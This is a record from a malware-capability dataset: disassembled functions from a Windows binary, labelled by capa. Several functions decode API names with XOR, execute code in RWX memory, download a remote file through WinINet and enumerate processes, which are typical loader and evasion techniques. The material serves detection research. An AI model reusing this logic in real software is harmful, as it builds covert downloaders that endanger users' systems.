joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001d8d0
Capabilities:
Hash data with crc32

Disassembly:
test r8d, r8d
jle 0x14001db1e
mov r11, rsp
push rbp
push rsi
sub rsp, 0x58
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [r11 - 0x18], rdi
mov rbp, rcx
mov qword [r11 - 0x20], r14
lea rdi, [rdx + 0x1a]
mov qword [r11 - 0x28], r15
mov r14d, 0xffffffff
lea r15, [0x140061090]
mov qword [r11 + 0x18], rbx
movsxd rsi, r8d
nop dword [rax + rax]
mov edx, dword [rdi - 0x1a]
test edx, edx
je 0x14001dae6
mov rcx, rbp
call fcn.14001cf50
mov r9d, dword [rdi - 0x16]
mov rbx, rax
test r9d, r9d
je 0x14001d9a1
movsxd rdx, dword [rbp + 0x3268]
mov r8, qword [rbp + 0x3270]
mov r10, rdx
shl r10, 4
add r10, r8
test rdx, rdx
je 0x14001d991
nop dword [rax]
mov rcx, rdx
shr rcx, 1
mov rax, rcx
add rax, rax
cmp dword [r8 + rax*8], r9d
jae 0x14001d989
lea r8, [r8 + rax*8]
mov rax, 0xffffffffffffffff
sub rax, rcx
add r8, 0x10
add rdx, rax
jmp 0x14001d98c
mov rdx, rcx
test rdx, rdx
jne 0x14001d960
cmp r8, r10
je 0x14001d9a1
cmp dword [r8], r9d
jne 0x14001d9a1
mov rcx, qword [r8 + 8]
jmp 0x14001d9a3
xor ecx, ecx
mov qword [rbx + 0x18], rcx
movsx eax, word [rdi - 2]
movd xmm1, eax
movsx eax, word [rdi]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x48], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x4c], xmm0
movsx eax, word [rdi + 2]
movd xmm1, eax
movsx eax, word [rdi + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x50], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x54], xmm0
movsx eax, word [rdi + 6]
movd xmm1, eax
movsx eax, word [rdi + 8]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [rbx + 0xbc]
and eax, 0xfffffe49
movss dword [rbx + 0x58], xmm1
or eax, 0x49
mov dword [rbx + 0xbc], eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x5c], xmm0
test rcx, rcx
je 0x14001da37
cmp qword [rcx + 0x20], 0
jne 0x14001da2c
mov qword [rcx + 0x20], rbx
jmp 0x14001da37
cmp qword [rcx + 0x28], 0
jne 0x14001da37
mov qword [rcx + 0x28], rbx
mov eax, dword [rdi - 0xe]
mov r9, rbx
mov dword [rbx + 0xb4], eax
movsx eax, byte [rdi - 0xa]
mov dword [rbx + 0x60], eax
mov ecx, dword [rdi - 6]
mov eax, dword [rbx + 0xc]
and ecx, 0xc1fc20
or eax, dword [rbx + 4]
or eax, ecx
mov dword [rbx + 8], ecx
mov dword [rbx + 0x10], eax
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x14001da7c
nop word [rax + rax]
mov r9, rax
mov rax, qword [rax + 0x18]
test rax, rax
jne 0x14001da70
mov r9d, dword [r9]
lea r8, str.DockNode__02X
mov edx, 0x14
lea rcx, [rsp + 0x20]
call fcn.140004c10
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov ecx, r14d
test r9b, r9b
je 0x14001dad8
cmp r9b, 0x23
jne 0x14001dabb
cmp byte [r8], r9b
jne 0x14001dabb
cmp byte [r8 + 1], r9b
cmove ecx, r14d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r15 + rdx*4]
test r9b, r9b
jne 0x14001daa8
not ecx
call fcn.14000d450
mov qword [rbx + 0x80], rax
add rdi, 0x24
sub rsi, 1
jne 0x14001d920
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x14004ace0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov dword [rsp + 0x30], 0xb2b9a8b5
mov dword [rsp + 0x34], 0x8e85ceb3
mov word [rsp + 0x38], 0x8f
mov byte [rsp + 0x3a], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 0x25]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14004ad10
mov byte [rsp + 0x3a], bl
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov dword [rsp + 0x20], 0xb29ea895
mov dword [rsp + 0x24], 0x8493b0
mov byte [rsp + 0x28], 1
nop word [rax + rax]
lea eax, [rbx - 0x25]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 7
jb 0x14004ad50
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
mov ecx, 0x99999999
call rax
nop
xor eax, eax
add rsp, 0x40
pop rbx
ret

Function at 0x14004ae00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x14004aebf
mov byte [rax], 0xc3
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0x58]
mov r8d, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14004aebf
call rbx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x70
pop rbx
ret
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x70
pop rbx
ret
Function at 0x14004aee0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xfa0]
mov eax, 0x10a0
call fcn.14005de30
sub rsp, rax
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rbp + 0xf90], rax
xor edi, edi
mov dword [rsp + 0x60], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x68], rdi
xor edx, edx
mov dword [rsp + 0x78], edi
mov r8d, 0x1000
mov qword [rsp + 0x70], rdi
lea rcx, [rbp - 0x70]
movdqu xmmword [rbp - 0x80], xmm0
call sub.VCRUNTIME140.dll_memset
mov ecx, edi
mov dword [rsp + 0x30], 0xb2b9a8b5
mov dword [rsp + 0x34], 0x8e85ceb3
mov word [rsp + 0x38], 0x8f
mov byte [rsp + 0x3a], 1
lea eax, [rcx - 0x25]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14004af60
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x3a], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x140068060]
mov rcx, rdi
movdqu xmmword [rsp + 0x40], xmm0
mov r8, rax
mov dword [rsp + 0x50], 0x998f8e
mov byte [rsp + 0x54], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x25]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x13
jb 0x14004afb0
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x54], dil
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea r8, [rsp + 0x60]
mov rbx, rax
lea rcx, [rsp + 0x58]
mov edx, 0x1f000f
call rbx
test rbx, rbx
je 0x14004b0cb
mov dword [rsp + 0x30], 0xb2b9a8b5
mov rcx, rdi
mov dword [rsp + 0x34], 0x8e85ceb3
mov word [rsp + 0x38], 0x8f
mov byte [rsp + 0x3a], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x25]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14004b020
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x3a], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [rsp + 0x40], 0xab8ca895
mov rcx, rdi
mov r8, rax
mov dword [rsp + 0x44], 0xad9892ba
mov dword [rsp + 0x48], 0x85808e81
mov word [rsp + 0x4c], 0x93
mov byte [rsp + 0x4e], 1
nop word [rax + rax]
lea eax, [rcx - 0x25]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x14004b070
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x4e], dil
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x58]
lea r8, [rbp - 0x70]
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov edx, 2
call rax
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
js 0x14004b0cb
cmp dword [rbp - 0x5c], edi
jne 0x14004b0cb
mov eax, 1
jmp 0x14004b0cd
xor eax, eax
mov rcx, qword [rbp + 0xf90]
xor rcx, rsp
call fcn.14005c2f0
lea r11, [rsp + 0x10a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14004b100
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov dword [rsp + 0x20], 0xbab3bd89
mov dword [rsp + 0x24], 0x8cc18db0
mov dword [rsp + 0x28], 0x808982
mov byte [rsp + 0x2c], 1
xor eax, eax
nop word [rax + rax]
lea ecx, [rax - 0x25]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0xb
jb 0x14004b130
mov byte [rsp + 0x2c], 0
lea r8, [rsp + 0x20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
mov edx, 2
mov r8d, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140051f40
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140051f68
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140051f8e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140051f90
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140051fe9
test ecx, ecx
jle 0x140051fc9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140051fe9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140051fe9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140052010
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140052032
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140052048
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140052064
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140052066
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400520a2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14005213e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400520dd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14005211e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14005213e
cmp rbx, rax
ja 0x1400520f0
test rbx, rbx
je 0x14005213e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140052570
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005259d
xor eax, eax
jmp 0x140052709
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400525d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400525d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140052709
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400526fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14005261a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140052645
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140052701
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400526b4
sub eax, 1
je 0x1400526b4
cmp eax, 2
jne 0x1400526fc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140052701
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400526e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400526fc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140052701
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14005c2f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140052ae0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140052bb3
cmp byte [rcx + 0x71], 0
je 0x140052bb3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140052baf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140052b74
sub eax, 1
je 0x140052b78
cmp eax, 2
jne 0x140052baf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140052ba6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140052baf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140052b5c
xor al, al
jmp 0x140052b5c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x60
pop rbx
ret
Function at 0x140057020
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov rdi, r8
lea rcx, str.Mozilla_5.0
mov rbx, rdx
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rdx, rbx
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rdx, [0x140067aa8]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400570fd
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x1400570fd
mov r8d, ecx
mov r9, rdi
lea rcx, [rsp + 0x40]
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400570c2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14005c2f0
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400574a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor eax, eax
lea rdi, [rsp + 0x20]
mov rbx, rdx
mov ecx, 0x130
rep stosb byte [rdi], al
lea ecx, [rax + 2]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400575b8
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400575af
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140057518
mov rdx, qword [rbx]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, rdi
test eax, eax
jne 0x140057572
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
mov esi, dword [rsp + 0x28]
cmp rdx, 0x10
jb 0x14005756e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140057569
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057628
mov rcx, rdi
call fcn.14005c354
mov eax, esi
jmp 0x1400575f0
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400575af
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x14005758e
mov rdx, qword [rbx]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, rdi
test eax, eax
je 0x14005752a
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140057581
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400575ee
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400575e9
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057628
mov rcx, rdi
call fcn.14005c354
xor eax, eax
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], 0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14005c2f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140059450
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x14005945b
xor eax, eax
ret
lea r11, [0x140065030]
not ecx
cmp r8d, 8
jb 0x140059531
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x140059480
test r8d, r8d
je 0x14005955d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x140059540
not ecx
mov eax, ecx
ret

Function at 0x140059eb0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r10d, edx
mov rdi, r9
imul r10d, r8d
mov rsi, rdx
cmp byte [r9], 0
mov r11, rcx
je 0x140059f08
mov rdx, rcx
mov qword [rsp + 0x20], 0
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x30]
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140059f02
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x30]
jmp 0x140059f3e
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
sub ecx, edx
mov qword [rsp + 0x40], rbx
lea eax, [rdx + r10]
cmp eax, dword [r9 + 0x28]
cmovbe ecx, r10d
add rdx, qword [r9 + 0x20]
mov ebx, ecx
mov r8d, ecx
mov rcx, r11
call sub.VCRUNTIME140.dll_memcpy
add dword [rdi + 0x2c], ebx
mov eax, ebx
mov rbx, qword [rsp + 0x40]
xor edx, edx
div rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x140059f60
Capabilities:
Read file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140074010]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp byte [rcx], 0
mov r14, rdx
mov qword [rsp + 0x70], rbp
mov rbx, rcx
mov qword [rsp + 0x78], rsi
mov esi, 1
je 0x140059fc3
lea rdi, [rcx + 0x10]
mov qword [rsp + 0x20], 0
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x34]
mov r8d, esi
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140059fbd
mov byte [rdi], sil
mov ebp, dword [rsp + 0x34]
jmp 0x140059ff4
mov edi, dword [rcx + 0x2c]
mov ecx, dword [rcx + 0x28]
lea eax, [rdi + 1]
cmp eax, ecx
jbe 0x140059fd4
mov esi, ecx
sub esi, edi
mov rdx, rdi
mov r8d, esi
add rdx, qword [rbx + 0x20]
lea rcx, [rsp + 0x30]
mov ebp, esi
call sub.VCRUNTIME140.dll_memcpy
lea eax, [rdi + rsi]
mov dword [rbx + 0x2c], eax
lea rdi, [rbx + 0x10]
mov rsi, qword [rsp + 0x78]
cmp ebp, 1
mov rbp, qword [rsp + 0x70]
jne 0x14005a023
movzx eax, byte [rsp + 0x30]
mov dword [r14], eax
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005c2f0
add rsp, 0x40
pop r14
pop rdi
pop rbx
ret
cmp byte [rbx], 0
je 0x14005a00b
cmp byte [rdi], 0
je 0x14005a00b
mov eax, 0xffffffff
jmp 0x14005a00d